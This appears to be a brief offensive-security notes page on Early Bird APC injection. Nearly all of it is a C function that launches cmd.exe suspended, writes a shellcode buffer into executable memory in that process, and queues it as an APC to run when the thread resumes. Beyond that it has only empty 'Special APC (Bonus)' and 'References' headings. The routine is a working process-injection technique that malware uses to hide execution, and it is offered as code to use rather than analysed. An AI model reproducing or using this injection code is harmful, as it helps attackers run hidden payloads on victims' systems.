Early Bird & Special APC
Early Bird APC Injection
VOID earlyBirdAPC() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE hProcess = pi.hProcess,
hThread = pi.hThread;
LPVOID pAddr = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pAddr == NULL) {
exit(2);
}
WriteProcessMemory(hProcess, pAddr, shellcode, sizeof(shellcode), 0);
QueueUserAPC(pAddr, hThread, NULL);
ResumeThread(hThread);
}

Special APC (Bonus)


References
Last updated